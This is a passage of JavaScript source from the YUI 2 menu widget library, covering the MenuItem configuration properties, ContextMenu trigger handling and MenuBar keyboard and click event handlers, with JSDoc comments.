this.clickEvent.subscribe(oObject.fn, ((_OBJ in oObject) ? oObject.obj : this), ((_SCOPE in oObject) ? oObject.scope : null) ); this._oOnclickAttributeValue = oObject; } }, /** * @method configClassName * @description Event handler for when the "classname" configuration * property of a menu item changes. * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.MenuItem} p_oItem Object representing the menu item * that fired the event. */ configClassName: function (p_sType, p_aArgs, p_oItem) { var sClassName = p_aArgs[0]; if (this._sClassName) { Dom.removeClass(this.element, this._sClassName); } Dom.addClass(this.element, sClassName); this._sClassName = sClassName; }, /** * @method _dispatchClickEvent * @description Dispatches a DOM "click" event to the anchor element of a * MenuItem instance. * @private */ _dispatchClickEvent: function () { var oMenuItem = this, oAnchor, oEvent; if (!oMenuItem.cfg.getProperty(_DISABLED)) { oAnchor = Dom.getFirstChild(oMenuItem.element); // Dispatch a "click" event to the MenuItem's anchor so that its // "click" event handlers will get called in response to the user // pressing the keyboard shortcut defined by the "keylistener" // configuration property. if (UA.ie) { oAnchor.fireEvent(_ONCLICK); } else { if ((UA.gecko && UA.gecko >= 1.9) || UA.opera || UA.webkit) { oEvent = document.createEvent("HTMLEvents"); oEvent.initEvent(_CLICK, true, true); } else { oEvent = document.createEvent("MouseEvents"); oEvent.initMouseEvent(_CLICK, true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null); } oAnchor.dispatchEvent(oEvent); } } }, /** * @method _createKeyListener * @description "show" event handler for a Menu instance - responsible for * setting up the KeyListener instance for a MenuItem. * @private * @param {String} type String representing the name of the event that * was fired. * @param {Array} args Array of arguments sent when the event was fired. * @param {Array} keyData Array of arguments sent when the event was fired. */ _createKeyListener: function (type, args, keyData) { var oMenuItem = this, oMenu = oMenuItem.parent; var oKeyListener = new YAHOO.util.KeyListener( oMenu.element.ownerDocument, keyData, { fn: oMenuItem._dispatchClickEvent, scope: oMenuItem, correctScope: true }); if (oMenu.cfg.getProperty(_VISIBLE)) { oKeyListener.enable(); } oMenu.subscribe(_SHOW, oKeyListener.enable, null, oKeyListener); oMenu.subscribe(_HIDE, oKeyListener.disable, null, oKeyListener); oMenuItem._keyListener = oKeyListener; oMenu.unsubscribe(_SHOW, oMenuItem._createKeyListener, keyData); }, /** * @method configKeyListener * @description Event handler for when the "keylistener" configuration * property of a menu item changes. * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. */ configKeyListener: function (p_sType, p_aArgs) { var oKeyData = p_aArgs[0], oMenuItem = this, oMenu = oMenuItem.parent; if (oMenuItem._keyData) { // Unsubscribe from the "show" event in case the keylistener // config was changed before the Menu was ever made visible. oMenu.unsubscribe(_SHOW, oMenuItem._createKeyListener, oMenuItem._keyData); oMenuItem._keyData = null; } // Tear down for the previous value of the "keylistener" property if (oMenuItem._keyListener) { oMenu.unsubscribe(_SHOW, oMenuItem._keyListener.enable); oMenu.unsubscribe(_HIDE, oMenuItem._keyListener.disable); oMenuItem._keyListener.disable(); oMenuItem._keyListener = null; } if (oKeyData) { oMenuItem._keyData = oKeyData; // Defer the creation of the KeyListener instance until the // parent Menu is visible. This is necessary since the // KeyListener instance needs to be bound to the document the // Menu has been rendered into. Deferring creation of the // KeyListener instance also improves performance. oMenu.subscribe(_SHOW, oMenuItem._createKeyListener, oKeyData, oMenuItem); } }, // Public methods /** * @method initDefaultConfig * @description Initializes an item's configurable properties. */ initDefaultConfig : function () { var oConfig = this.cfg; // Define the configuration attributes /** * @config text * @description String or markup specifying the text label for the menu item. * When building a menu from existing HTML the value of this property * will be interpreted from the menu's markup. The text is inserted into the DOM as HTML, and should be escaped by the implementor if coming from an external source. * @default "" * @type HTML */ oConfig.addProperty( TEXT_CONFIG.key, { handler: this.configText, value: TEXT_CONFIG.value, validator: TEXT_CONFIG.validator, suppressEvent: TEXT_CONFIG.suppressEvent } ); /** * @config helptext * @description String or markup specifying additional instructional text to * accompany the text for the menu item. The helptext is inserted into the DOM as HTML, and should be escaped by the implementor if coming from an external source. * @deprecated Use "text" configuration property to add help text markup. * For example: <code>oMenuItem.cfg.setProperty("text", "Copy &#60;em * class=\"helptext\"&#62;Ctrl + C&#60;/em&#62;");</code> * @default null * @type HTML|<a href="http://www.w3.org/TR/ * 2000/WD-DOM-Level-1-20000929/level-one-html.html#ID-58190037"> * HTMLElement</a> */ oConfig.addProperty( HELP_TEXT_CONFIG.key, { handler: this.configHelpText, supercedes: HELP_TEXT_CONFIG.supercedes, suppressEvent: HELP_TEXT_CONFIG.suppressEvent } ); /** * @config url * @description String specifying the URL for the menu item's anchor's * "href" attribute. When building a menu from existing HTML the value * of this property will be interpreted from the menu's markup. Markup for the menu item content. The url is inserted into the DOM as an attribute value, and should be escaped by the implementor if coming from an external source. * @default "#" * @type String */ oConfig.addProperty( URL_CONFIG.key, { handler: this.configURL, value: URL_CONFIG.value, suppressEvent: URL_CONFIG.suppressEvent } ); /** * @config target * @description String specifying the value for the "target" attribute * of the menu item's anchor element. <strong>Specifying a target will * require the user to click directly on the menu item's anchor node in * order to cause the browser to navigate to the specified URL.</strong> * When building a menu from existing HTML the value of this property * will be interpreted from the menu's markup. The target is inserted into the DOM as an attribute value, and should be escaped by the implementor if coming from an external source. * @default null * @type String */ oConfig.addProperty( TARGET_CONFIG.key, { handler: this.configTarget, suppressEvent: TARGET_CONFIG.suppressEvent } ); /** * @config emphasis * @description Boolean indicating if the text of the menu item will be * rendered with emphasis. * @deprecated Use the "text" configuration property to add emphasis. * For example: <code>oMenuItem.cfg.setProperty("text", "&#60;em&#62;Some * Text&#60;/em&#62;");</code> * @default false * @type Boolean */ oConfig.addProperty( EMPHASIS_CONFIG.key, { handler: this.configEmphasis, value: EMPHASIS_CONFIG.value, validator: EMPHASIS_CONFIG.validator, suppressEvent: EMPHASIS_CONFIG.suppressEvent, supercedes: EMPHASIS_CONFIG.supercedes } ); /** * @config strongemphasis * @description Boolean indicating if the text of the menu item will be * rendered with strong emphasis. * @deprecated Use the "text" configuration property to add strong emphasis. * For example: <code>oMenuItem.cfg.setProperty("text", "&#60;strong&#62; * Some Text&#60;/strong&#62;");</code> * @default false * @type Boolean */ oConfig.addProperty( STRONG_EMPHASIS_CONFIG.key, { handler: this.configStrongEmphasis, value: STRONG_EMPHASIS_CONFIG.value, validator: STRONG_EMPHASIS_CONFIG.validator, suppressEvent: STRONG_EMPHASIS_CONFIG.suppressEvent, supercedes: STRONG_EMPHASIS_CONFIG.supercedes } ); /** * @config checked * @description Boolean indicating if the menu item should be rendered * with a checkmark. * @default false * @type Boolean */ oConfig.addProperty( CHECKED_CONFIG.key, { handler: this.configChecked, value: CHECKED_CONFIG.value, validator: CHECKED_CONFIG.validator, suppressEvent: CHECKED_CONFIG.suppressEvent, supercedes: CHECKED_CONFIG.supercedes } ); /** * @config disabled * @description Boolean indicating if the menu item should be disabled. * (Disabled menu items are dimmed and will not respond to user input * or fire events.) * @default false * @type Boolean */ oConfig.addProperty( DISABLED_CONFIG.key, { handler: this.configDisabled, value: DISABLED_CONFIG.value, validator: DISABLED_CONFIG.validator, suppressEvent: DISABLED_CONFIG.suppressEvent } ); /** * @config selected * @description Boolean indicating if the menu item should * be highlighted. * @default false * @type Boolean */ oConfig.addProperty( SELECTED_CONFIG.key, { handler: this.configSelected, value: SELECTED_CONFIG.value, validator: SELECTED_CONFIG.validator, suppressEvent: SELECTED_CONFIG.suppressEvent } ); /** * @config submenu * @description Object specifying the submenu to be appended to the * menu item. The value can be one of the following: <ul><li>Object * specifying a Menu instance.</li><li>Object literal specifying the * menu to be created. Format: <code>{ id: [menu id], itemdata: * [<a href="YAHOO.widget.Menu.html#itemData">array of values for * items</a>] }</code>.</li><li>String specifying the id attribute * of the <code>&#60;div&#62;</code> element of the menu.</li><li> * Object specifying the <code>&#60;div&#62;</code> element of the * menu.</li></ul> * @default null * @type Menu|String|Object|<a href="http://www.w3.org/TR/2000/ * WD-DOM-Level-1-20000929/level-one-html.html#ID-58190037"> * HTMLElement</a> */ oConfig.addProperty( SUBMENU_CONFIG.key, { handler: this.configSubmenu, supercedes: SUBMENU_CONFIG.supercedes, suppressEvent: SUBMENU_CONFIG.suppressEvent } ); /** * @config onclick * @description Object literal representing the code to be executed when * the item is clicked. Format:<br> <code> {<br> * <strong>fn:</strong> Function, &#47;&#47; The handler to call when * the event fires.<br> <strong>obj:</strong> Object, &#47;&#47; An * object to pass back to the handler.<br> <strong>scope:</strong> * Object &#47;&#47; The object to use for the scope of the handler. * <br> } </code> * @type Object * @default null */ oConfig.addProperty( ONCLICK_CONFIG.key, { handler: this.configOnClick, suppressEvent: ONCLICK_CONFIG.suppressEvent } ); /** * @config classname * @description CSS class to be applied to the menu item's root * <code>&#60;li&#62;</code> element. The specified class(es) are * appended in addition to the default class as specified by the menu * item's CSS_CLASS_NAME constant. * @default null * @type String */ oConfig.addProperty( CLASS_NAME_CONFIG.key, { handler: this.configClassName, value: CLASS_NAME_CONFIG.value, validator: CLASS_NAME_CONFIG.validator, suppressEvent: CLASS_NAME_CONFIG.suppressEvent } ); /** * @config keylistener * @description Object literal representing the key(s) that can be used * to trigger the MenuItem's "click" event. Possible attributes are * shift (boolean), alt (boolean), ctrl (boolean) and keys (either an int * or an array of ints representing keycodes). * @default null * @type Object */ oConfig.addProperty( KEY_LISTENER_CONFIG.key, { handler: this.configKeyListener, value: KEY_LISTENER_CONFIG.value, suppressEvent: KEY_LISTENER_CONFIG.suppressEvent } ); }, /** * @method getNextSibling * @description Finds the menu item's next sibling. * @return YAHOO.widget.MenuItem */ getNextSibling: function () { var isUL = function (el) { return (el.nodeName.toLowerCase() === "ul"); }, menuitemEl = this.element, next = Dom.getNextSibling(menuitemEl), parent, sibling, list; if (!next) { parent = menuitemEl.parentNode; sibling = Dom.getNextSiblingBy(parent, isUL); if (sibling) { list = sibling; } else { list = Dom.getFirstChildBy(parent.parentNode, isUL); } next = Dom.getFirstChild(list); } return YAHOO.widget.MenuManager.getMenuItem(next.id); }, /** * @method getNextEnabledSibling * @description Finds the menu item's next enabled sibling. * @return YAHOO.widget.MenuItem */ getNextEnabledSibling: function () { var next = this.getNextSibling(); return (next.cfg.getProperty(_DISABLED) || next.element.style.display == _NONE) ? next.getNextEnabledSibling() : next; }, /** * @method getPreviousSibling * @description Finds the menu item's previous sibling. * @return {YAHOO.widget.MenuItem} */ getPreviousSibling: function () { var isUL = function (el) { return (el.nodeName.toLowerCase() === "ul"); }, menuitemEl = this.element, next = Dom.getPreviousSibling(menuitemEl), parent, sibling, list; if (!next) { parent = menuitemEl.parentNode; sibling = Dom.getPreviousSiblingBy(parent, isUL); if (sibling) { list = sibling; } else { list = Dom.getLastChildBy(parent.parentNode, isUL); } next = Dom.getLastChild(list); } return YAHOO.widget.MenuManager.getMenuItem(next.id); }, /** * @method getPreviousEnabledSibling * @description Finds the menu item's previous enabled sibling. * @return {YAHOO.widget.MenuItem} */ getPreviousEnabledSibling: function () { var next = this.getPreviousSibling(); return (next.cfg.getProperty(_DISABLED) || next.element.style.display == _NONE) ? next.getPreviousEnabledSibling() : next; }, /** * @method focus * @description Causes the menu item to receive the focus and fires the * focus event. */ focus: function () { var oParent = this.parent, oAnchor = this._oAnchor, oActiveItem = oParent.activeItem; function setFocus() { try { if (!(UA.ie && !document.hasFocus())) { if (oActiveItem) { oActiveItem.blurEvent.fire(); } oAnchor.focus(); this.focusEvent.fire(); } } catch(e) { } } if (!this.cfg.getProperty(_DISABLED) && oParent && oParent.cfg.getProperty(_VISIBLE) && this.element.style.display != _NONE) { /* Setting focus via a timer fixes a race condition in Firefox, IE and Opera where the browser viewport jumps as it trys to position and focus the menu. */ Lang.later(0, this, setFocus); } }, /** * @method blur * @description Causes the menu item to lose focus and fires the * blur event. */ blur: function () { var oParent = this.parent; if (!this.cfg.getProperty(_DISABLED) && oParent && oParent.cfg.getProperty(_VISIBLE)) { Lang.later(0, this, function () { try { this._oAnchor.blur(); this.blurEvent.fire(); } catch (e) { } }, 0); } }, /** * @method hasFocus * @description Returns a boolean indicating whether or not the menu item * has focus. * @return {Boolean} */ hasFocus: function () { return (YAHOO.widget.MenuManager.getFocusedMenuItem() == this); }, /** * @method destroy * @description Removes the menu item's <code>&#60;li&#62;</code> element * from its parent <code>&#60;ul&#62;</code> element. */ destroy: function () { var oEl = this.element, oSubmenu, oParentNode, aEventData, i; if (oEl) { // If the item has a submenu, destroy it first oSubmenu = this.cfg.getProperty(_SUBMENU); if (oSubmenu) { oSubmenu.destroy(); } // Remove the element from the parent node oParentNode = oEl.parentNode; if (oParentNode) { oParentNode.removeChild(oEl); this.destroyEvent.fire(); } // Remove CustomEvent listeners i = EVENT_TYPES.length - 1; do { aEventData = EVENT_TYPES[i]; this[aEventData[0]].unsubscribeAll(); } while (i--); this.cfg.configChangedEvent.unsubscribeAll(); } }, /** * @method toString * @description Returns a string representing the menu item. * @return {String} */ toString: function () { var sReturnVal = _MENUITEM, sId = this.id; if (sId) { sReturnVal += (_SPACE + sId); } return sReturnVal; } }; Lang.augmentProto(MenuItem, YAHOO.util.EventProvider); })(); (function () { var _XY = "xy", _MOUSEDOWN = "mousedown", _CONTEXTMENU = "ContextMenu", _SPACE = " "; /** * Creates a list of options or commands which are made visible in response to * an HTML element's "contextmenu" event ("mousedown" for Opera). * * @param {String} p_oElement String specifying the id attribute of the * <code>&#60;div&#62;</code> element of the context menu. * @param {String} p_oElement String specifying the id attribute of the * <code>&#60;select&#62;</code> element to be used as the data source for the * context menu. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level-one- * html.html#ID-22445964">HTMLDivElement</a>} p_oElement Object specifying the * <code>&#60;div&#62;</code> element of the context menu. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level-one- * html.html#ID-94282980">HTMLSelectElement</a>} p_oElement Object specifying * the <code>&#60;select&#62;</code> element to be used as the data source for * the context menu. * @param {Object} p_oConfig Optional. Object literal specifying the * configuration for the context menu. See configuration class documentation * for more details. * @class ContextMenu * @constructor * @extends YAHOO.widget.Menu * @namespace YAHOO.widget */ YAHOO.widget.ContextMenu = function(p_oElement, p_oConfig) { YAHOO.widget.ContextMenu.superclass.constructor.call(this, p_oElement, p_oConfig); }; var Event = YAHOO.util.Event, UA = YAHOO.env.ua, ContextMenu = YAHOO.widget.ContextMenu, /** * Constant representing the name of the ContextMenu's events * @property EVENT_TYPES * @private * @final * @type Object */ EVENT_TYPES = { "TRIGGER_CONTEXT_MENU": "triggerContextMenu", "CONTEXT_MENU": (UA.opera ? _MOUSEDOWN : "contextmenu"), "CLICK": "click" }, /** * Constant representing the ContextMenu's configuration properties * @property DEFAULT_CONFIG * @private * @final * @type Object */ TRIGGER_CONFIG = { key: "trigger", suppressEvent: true }; /** * @method position * @description "beforeShow" event handler used to position the contextmenu. * @private * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {Array} p_aPos Array representing the xy position for the context menu. */ function position(p_sType, p_aArgs, p_aPos) { this.cfg.setProperty(_XY, p_aPos); this.beforeShowEvent.unsubscribe(position, p_aPos); } YAHOO.lang.extend(ContextMenu, YAHOO.widget.Menu, { // Private properties /** * @property _oTrigger * @description Object reference to the current value of the "trigger" * configuration property. * @default null * @private * @type String|<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/leve * l-one-html.html#ID-58190037">HTMLElement</a>|Array */ _oTrigger: null, /** * @property _bCancelled * @description Boolean indicating if the display of the context menu should * be cancelled. * @default false * @private * @type Boolean */ _bCancelled: false, // Public properties /** * @property contextEventTarget * @description Object reference for the HTML element that was the target of the * "contextmenu" DOM event ("mousedown" for Opera) that triggered the display of * the context menu. * @default null * @type <a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level-one- * html.html#ID-58190037">HTMLElement</a> */ contextEventTarget: null, // Events /** * @event triggerContextMenuEvent * @description Custom Event wrapper for the "contextmenu" DOM event * ("mousedown" for Opera) fired by the element(s) that trigger the display of * the context menu. */ triggerContextMenuEvent: null, /** * @method init * @description The ContextMenu class's initialization method. This method is * automatically called by the constructor, and sets up all DOM references for * pre-existing markup, and creates required markup if it is not already present. * @param {String} p_oElement String specifying the id attribute of the * <code>&#60;div&#62;</code> element of the context menu. * @param {String} p_oElement String specifying the id attribute of the * <code>&#60;select&#62;</code> element to be used as the data source for * the context menu. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level-one- * html.html#ID-22445964">HTMLDivElement</a>} p_oElement Object specifying the * <code>&#60;div&#62;</code> element of the context menu. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level-one- * html.html#ID-94282980">HTMLSelectElement</a>} p_oElement Object specifying * the <code>&#60;select&#62;</code> element to be used as the data source for * the context menu. * @param {Object} p_oConfig Optional. Object literal specifying the * configuration for the context menu. See configuration class documentation * for more details. */ init: function(p_oElement, p_oConfig) { // Call the init of the superclass (YAHOO.widget.Menu) ContextMenu.superclass.init.call(this, p_oElement); this.beforeInitEvent.fire(ContextMenu); if (p_oConfig) { this.cfg.applyConfig(p_oConfig, true); } this.initEvent.fire(ContextMenu); }, /** * @method initEvents * @description Initializes the custom events for the context menu. */ initEvents: function() { ContextMenu.superclass.initEvents.call(this); // Create custom events this.triggerContextMenuEvent = this.createEvent(EVENT_TYPES.TRIGGER_CONTEXT_MENU); this.triggerContextMenuEvent.signature = YAHOO.util.CustomEvent.LIST; }, /** * @method cancel * @description Cancels the display of the context menu. */ cancel: function() { this._bCancelled = true; }, // Private methods /** * @method _removeEventHandlers * @description Removes all of the DOM event handlers from the HTML element(s) * whose "context menu" event ("click" for Opera) trigger the display of * the context menu. * @private */ _removeEventHandlers: function() { var oTrigger = this._oTrigger; // Remove the event handlers from the trigger(s) if (oTrigger) { Event.removeListener(oTrigger, EVENT_TYPES.CONTEXT_MENU, this._onTriggerContextMenu); if (UA.opera) { Event.removeListener(oTrigger, EVENT_TYPES.CLICK, this._onTriggerClick); } } }, // Private event handlers /** * @method _onTriggerClick * @description "click" event handler for the HTML element(s) identified as the * "trigger" for the context menu. Used to cancel default behaviors in Opera. * @private * @param {Event} p_oEvent Object representing the DOM event object passed back * by the event utility (YAHOO.util.Event). * @param {YAHOO.widget.ContextMenu} p_oMenu Object representing the context * menu that is handling the event. */ _onTriggerClick: function(p_oEvent, p_oMenu) { if (p_oEvent.ctrlKey) { Event.stopEvent(p_oEvent); } }, /** * @method _onTriggerContextMenu * @description "contextmenu" event handler ("mousedown" for Opera) for the HTML * element(s) that trigger the display of the context menu. * @private * @param {Event} p_oEvent Object representing the DOM event object passed back * by the event utility (YAHOO.util.Event). * @param {YAHOO.widget.ContextMenu} p_oMenu Object representing the context * menu that is handling the event. */ _onTriggerContextMenu: function(p_oEvent, p_oMenu) { var aXY; if (!(p_oEvent.type == _MOUSEDOWN && !p_oEvent.ctrlKey)) { this.contextEventTarget = Event.getTarget(p_oEvent); this.triggerContextMenuEvent.fire(p_oEvent); if (!this._bCancelled) { /* Prevent the browser's default context menu from appearing and stop the propagation of the "contextmenu" event so that other ContextMenu instances are not displayed. */ Event.stopEvent(p_oEvent); // Hide any other Menu instances that might be visible YAHOO.widget.MenuManager.hideVisible(); // Position and display the context menu aXY = Event.getXY(p_oEvent); if (!YAHOO.util.Dom.inDocument(this.element)) { this.beforeShowEvent.subscribe(position, aXY); } else { this.cfg.setProperty(_XY, aXY); } this.show(); } this._bCancelled = false; } }, // Public methods /** * @method toString * @description Returns a string representing the context menu. * @return {String} */ toString: function() { var sReturnVal = _CONTEXTMENU, sId = this.id; if (sId) { sReturnVal += (_SPACE + sId); } return sReturnVal; }, /** * @method initDefaultConfig * @description Initializes the class's configurable properties which can be * changed using the context menu's Config object ("cfg"). */ initDefaultConfig: function() { ContextMenu.superclass.initDefaultConfig.call(this); /** * @config trigger * @description The HTML element(s) whose "contextmenu" event ("mousedown" * for Opera) trigger the display of the context menu. Can be a string * representing the id attribute of the HTML element, an object reference * for the HTML element, or an array of strings or HTML element references. * @default null * @type String|<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/ * level-one-html.html#ID-58190037">HTMLElement</a>|Array */ this.cfg.addProperty(TRIGGER_CONFIG.key, { handler: this.configTrigger, suppressEvent: TRIGGER_CONFIG.suppressEvent } ); }, /** * @method destroy * @description Removes the context menu's <code>&#60;div&#62;</code> element * (and accompanying child nodes) from the document. * @param {boolean} shallowPurge If true, only the parent element's DOM event listeners are purged. If false, or not provided, all children are also purged of DOM event listeners. * NOTE: The flag is a "shallowPurge" flag, as opposed to what may be a more intuitive "purgeChildren" flag to maintain backwards compatibility with behavior prior to 2.9.0. */ destroy: function(shallowPurge) { // Remove the DOM event handlers from the current trigger(s) this._removeEventHandlers(); // Continue with the superclass implementation of this method ContextMenu.superclass.destroy.call(this, shallowPurge); }, // Public event handlers for configuration properties /** * @method configTrigger * @description Event handler for when the value of the "trigger" configuration * property changes. * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.ContextMenu} p_oMenu Object representing the context * menu that fired the event. */ configTrigger: function(p_sType, p_aArgs, p_oMenu) { var oTrigger = p_aArgs[0]; if (oTrigger) { /* If there is a current "trigger" - remove the event handlers from that element(s) before assigning new ones */ if (this._oTrigger) { this._removeEventHandlers(); } this._oTrigger = oTrigger; /* Listen for the "mousedown" event in Opera b/c it does not support the "contextmenu" event */ Event.on(oTrigger, EVENT_TYPES.CONTEXT_MENU, this._onTriggerContextMenu, this, true); /* Assign a "click" event handler to the trigger element(s) for Opera to prevent default browser behaviors. */ if (UA.opera) { Event.on(oTrigger, EVENT_TYPES.CLICK, this._onTriggerClick, this, true); } } else { this._removeEventHandlers(); } } }); // END YAHOO.lang.extend }()); /** * Creates an item for a context menu. * * @param {String} p_oObject String specifying the text of the context menu item. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-74680021">HTMLLIElement</a>} p_oObject Object specifying the * <code>&#60;li&#62;</code> element of the context menu item. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-38450247">HTMLOptGroupElement</a>} p_oObject Object * specifying the <code>&#60;optgroup&#62;</code> element of the context * menu item. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-70901257">HTMLOptionElement</a>} p_oObject Object specifying * the <code>&#60;option&#62;</code> element of the context menu item. * @param {Object} p_oConfig Optional. Object literal specifying the * configuration for the context menu item. See configuration class * documentation for more details. * @class ContextMenuItem * @constructor * @extends YAHOO.widget.MenuItem * @deprecated As of version 2.4.0 items for YAHOO.widget.ContextMenu instances * are of type YAHOO.widget.MenuItem. */ YAHOO.widget.ContextMenuItem = YAHOO.widget.MenuItem; (function () { var Lang = YAHOO.lang, // String constants _STATIC = "static", _DYNAMIC_STATIC = "dynamic," + _STATIC, _DISABLED = "disabled", _SELECTED = "selected", _AUTO_SUBMENU_DISPLAY = "autosubmenudisplay", _SUBMENU = "submenu", _VISIBLE = "visible", _SPACE = " ", _SUBMENU_TOGGLE_REGION = "submenutoggleregion", _MENUBAR = "MenuBar"; /** * Horizontal collection of items, each of which can contain a submenu. * * @param {String} p_oElement String specifying the id attribute of the * <code>&#60;div&#62;</code> element of the menu bar. * @param {String} p_oElement String specifying the id attribute of the * <code>&#60;select&#62;</code> element to be used as the data source for the * menu bar. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-22445964">HTMLDivElement</a>} p_oElement Object specifying * the <code>&#60;div&#62;</code> element of the menu bar. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-94282980">HTMLSelectElement</a>} p_oElement Object * specifying the <code>&#60;select&#62;</code> element to be used as the data * source for the menu bar. * @param {Object} p_oConfig Optional. Object literal specifying the * configuration for the menu bar. See configuration class documentation for * more details. * @class MenuBar * @constructor * @extends YAHOO.widget.Menu * @namespace YAHOO.widget */ YAHOO.widget.MenuBar = function(p_oElement, p_oConfig) { YAHOO.widget.MenuBar.superclass.constructor.call(this, p_oElement, p_oConfig); }; /** * @method checkPosition * @description Checks to make sure that the value of the "position" property * is one of the supported strings. Returns true if the position is supported. * @private * @param {Object} p_sPosition String specifying the position of the menu. * @return {Boolean} */ function checkPosition(p_sPosition) { var returnVal = false; if (Lang.isString(p_sPosition)) { returnVal = (_DYNAMIC_STATIC.indexOf((p_sPosition.toLowerCase())) != -1); } return returnVal; } var Event = YAHOO.util.Event, MenuBar = YAHOO.widget.MenuBar, POSITION_CONFIG = { key: "position", value: _STATIC, validator: checkPosition, supercedes: [_VISIBLE] }, SUBMENU_ALIGNMENT_CONFIG = { key: "submenualignment", value: ["tl","bl"] }, AUTO_SUBMENU_DISPLAY_CONFIG = { key: _AUTO_SUBMENU_DISPLAY, value: false, validator: Lang.isBoolean, suppressEvent: true }, SUBMENU_TOGGLE_REGION_CONFIG = { key: _SUBMENU_TOGGLE_REGION, value: false, validator: Lang.isBoolean }; Lang.extend(MenuBar, YAHOO.widget.Menu, { /** * @method init * @description The MenuBar class's initialization method. This method is * automatically called by the constructor, and sets up all DOM references for * pre-existing markup, and creates required markup if it is not already present. * @param {String} p_oElement String specifying the id attribute of the * <code>&#60;div&#62;</code> element of the menu bar. * @param {String} p_oElement String specifying the id attribute of the * <code>&#60;select&#62;</code> element to be used as the data source for the * menu bar. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-22445964">HTMLDivElement</a>} p_oElement Object specifying * the <code>&#60;div&#62;</code> element of the menu bar. * @param {<a href="http://www.w3.org/TR/2000/WD-DOM-Level-1-20000929/level- * one-html.html#ID-94282980">HTMLSelectElement</a>} p_oElement Object * specifying the <code>&#60;select&#62;</code> element to be used as the data * source for the menu bar. * @param {Object} p_oConfig Optional. Object literal specifying the * configuration for the menu bar. See configuration class documentation for * more details. */ init: function(p_oElement, p_oConfig) { if(!this.ITEM_TYPE) { this.ITEM_TYPE = YAHOO.widget.MenuBarItem; } // Call the init of the superclass (YAHOO.widget.Menu) MenuBar.superclass.init.call(this, p_oElement); this.beforeInitEvent.fire(MenuBar); if(p_oConfig) { this.cfg.applyConfig(p_oConfig, true); } this.initEvent.fire(MenuBar); }, // Constants /** * @property CSS_CLASS_NAME * @description String representing the CSS class(es) to be applied to the menu * bar's <code>&#60;div&#62;</code> element. * @default "yuimenubar" * @final * @type String */ CSS_CLASS_NAME: "yuimenubar", /** * @property SUBMENU_TOGGLE_REGION_WIDTH * @description Width (in pixels) of the area of a MenuBarItem that, when pressed, will toggle the * display of the MenuBarItem's submenu. * @default 20 * @final * @type Number */ SUBMENU_TOGGLE_REGION_WIDTH: 20, // Protected event handlers /** * @method _onKeyDown * @description "keydown" Custom Event handler for the menu bar. * @private * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.MenuBar} p_oMenuBar Object representing the menu bar * that fired the event. */ _onKeyDown: function(p_sType, p_aArgs, p_oMenuBar) { var oEvent = p_aArgs[0], oItem = p_aArgs[1], oSubmenu, oItemCfg, oNextItem; if(oItem && !oItem.cfg.getProperty(_DISABLED)) { oItemCfg = oItem.cfg; switch(oEvent.keyCode) { case 37: // Left arrow case 39: // Right arrow if(oItem == this.activeItem && !oItemCfg.getProperty(_SELECTED)) { oItemCfg.setProperty(_SELECTED, true); } else { oNextItem = (oEvent.keyCode == 37) ? oItem.getPreviousEnabledSibling() : oItem.getNextEnabledSibling(); if(oNextItem) { this.clearActiveItem(); oNextItem.cfg.setProperty(_SELECTED, true); oSubmenu = oNextItem.cfg.getProperty(_SUBMENU); if(oSubmenu) { oSubmenu.show(); oSubmenu.setInitialFocus(); } else { oNextItem.focus(); } } } Event.preventDefault(oEvent); break; case 40: // Down arrow if(this.activeItem != oItem) { this.clearActiveItem(); oItemCfg.setProperty(_SELECTED, true); oItem.focus(); } oSubmenu = oItemCfg.getProperty(_SUBMENU); if(oSubmenu) { if(oSubmenu.cfg.getProperty(_VISIBLE)) { oSubmenu.setInitialSelection(); oSubmenu.setInitialFocus(); } else { oSubmenu.show(); oSubmenu.setInitialFocus(); } } Event.preventDefault(oEvent); break; } } if(oEvent.keyCode == 27 && this.activeItem) { // Esc key oSubmenu = this.activeItem.cfg.getProperty(_SUBMENU); if(oSubmenu && oSubmenu.cfg.getProperty(_VISIBLE)) { oSubmenu.hide(); this.activeItem.focus(); } else { this.activeItem.cfg.setProperty(_SELECTED, false); this.activeItem.blur(); } Event.preventDefault(oEvent); } }, /** * @method _onClick * @description "click" event handler for the menu bar. * @protected * @param {String} p_sType String representing the name of the event that * was fired. * @param {Array} p_aArgs Array of arguments sent when the event was fired. * @param {YAHOO.widget.MenuBar} p_oMenuBar Object representing the menu bar * that fired the event. */ _onClick: function(p_sType, p_aArgs, p_oMenuBar) { MenuBar.superclass._onClick.call(this, p_sType, p_aArgs, p_oMenuBar); var oItem = p_aArgs[1], bReturnVal = true, oItemEl, oEvent, oTarget, oActiveItem, oConfig, oSubmenu, nMenuItemX, nToggleRegion; var toggleSubmenuDisplay = function () { if(oSubmenu.cfg.getProperty(_VISIBLE)) { oSubmenu.hide(); } else { oSubmenu.show(); } }; if(oItem && !oItem.cfg.getProperty(_DISABLED)) { oEvent = p_aArgs[0]; oTarget = Event.getTarget(oEvent); oActiveItem = this.activeItem; oConfig = this.cfg; // Hide any other submenus that might be visible if(oActiveItem && oActiveItem != oItem) { this.clearActiveItem(); } 